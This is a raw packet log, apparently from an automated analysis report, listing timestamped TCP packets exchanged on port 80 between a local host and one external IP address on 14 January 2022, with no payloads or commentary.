Jan 14, 2022 02:04:59.217541933 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.217545986 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.217577934 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217617989 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217658997 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217710972 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217763901 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.217798948 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.219477892 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.219525099 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.219564915 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.219607115 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.219656944 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.219662905 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.219707966 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.219712973 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.219768047 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.219808102 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.219821930 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.219826937 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.219854116 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.219893932 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.219930887 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.219985962 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.219995022 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.220029116 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220072031 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220102072 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.220124960 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220165014 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220192909 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.220218897 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220257998 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220294952 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220335007 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220360041 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.220382929 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220438004 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220444918 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.220493078 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220530987 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220572948 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220623970 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220654011 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.220664978 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.220678091 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220725060 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220765114 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.220779896 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220820904 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220863104 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220910072 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220911980 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.220917940 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.220953941 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.220993996 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.221030951 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.221084118 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.221085072 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.221090078 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.221124887 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.221175909 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.221216917 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.221265078 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.221267939 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.221312046 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.221316099 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.221362114 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.221395969 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.221410036 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.221451998 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.221492052 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.221518993 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.221647024 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.260679960 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.260730028 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.260768890 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.260807991 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.260859013 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.260896921 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.260914087 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.260921955 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.260953903 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.260993004 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261032104 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261081934 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261121035 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261158943 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261198044 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261219025 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.261229038 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.261244059 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261285067 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261331081 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261372089 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261389017 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.261396885 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.261418104 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261456013 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261493921 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261533022 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261584044 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261605978 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.261624098 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261662960 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261701107 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261751890 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.261770964 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.262974024 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.272118092 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272172928 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272212982 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272264004 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272306919 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272340059 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.272358894 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272361994 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.272401094 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272422075 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.272445917 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272485018 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272531986 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272573948 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272593021 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.272600889 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.272624969 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272664070 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272728920 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272782087 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.272783041 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272787094 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.272838116 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272880077 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272927999 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.272959948 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.272978067 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.273025036 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.273065090 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.273077011 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.273082972 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.273123980 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.273164988 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.273201942 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.273232937 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.273253918 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.273276091 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.273303986 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.273343086 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.273400068 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.273408890 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.273441076 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.273489952 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.273554087 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.273561001 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.276233912 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276288033 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276330948 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276391029 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276449919 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.276453972 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276460886 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.276499033 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276537895 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276580095 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276633024 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276662111 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.276678085 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276721954 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276761055 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276801109 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276854038 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276891947 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276933908 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276952028 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.276981115 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.276990891 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.276993990 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.277034998 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277074099 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277112961 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277162075 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277165890 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.277172089 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.277206898 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277244091 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277290106 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277292967 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.277328968 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277367115 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277405977 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277451992 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277492046 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277534008 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.277540922 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277542114 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.277590990 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277606964 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.277611971 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.277637959 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277678013 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277714968 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277762890 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277772903 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.277777910 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.277811050 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277877092 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277928114 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.277964115 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.277975082 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.278021097 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.278060913 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.278074980 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.278080940 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.278523922 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.314259052 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314285040 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314305067 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314322948 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314341068 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314366102 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314385891 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314404964 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314418077 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.314425945 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314440012 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.314448118 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314467907 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314477921 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.314481974 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.314488888 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314507961 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314528942 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314538956 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.314555883 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314565897 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.314577103 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314594984 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314616919 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314636946 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.314640999 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314642906 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.314661026 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314680099 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314702988 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314722061 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314743042 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.314743996 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314749956 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.314766884 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314785957 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314807892 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.314810038 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.314817905 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.315661907 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324099064 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324121952 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324139118 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324155092 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324194908 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324227095 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324335098 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324352026 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324369907 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324385881 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324408054 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324415922 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324431896 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324475050 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324490070 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324496984 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324505091 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324520111 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324544907 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324562073 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324568033 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324592113 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324615955 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324642897 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324644089 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324649096 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324666023 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324688911 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324712038 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324724913 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324737072 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324742079 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324760914 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324780941 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324796915 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324812889 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324821949 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324826956 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324830055 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324847937 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324865103 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324882984 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.324892998 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324898005 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.324949026 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.328552961 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328574896 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328593016 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328612089 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328629017 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328644037 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328660965 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328677893 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328692913 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328710079 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328721046 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.328726053 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328737974 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.328744888 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328762054 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328778028 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328783035 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.328788042 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.328794956 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328813076 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328815937 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.328830004 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328846931 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328864098 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328874111 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.328879118 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.328881025 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328897953 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328915119 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328928947 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.328932047 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328934908 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.328949928 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328965902 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328983068 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.328986883 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.328991890 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.328999996 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329016924 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329034090 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329035997 CET	49838	80	192.168.2.3	93.189.42.167
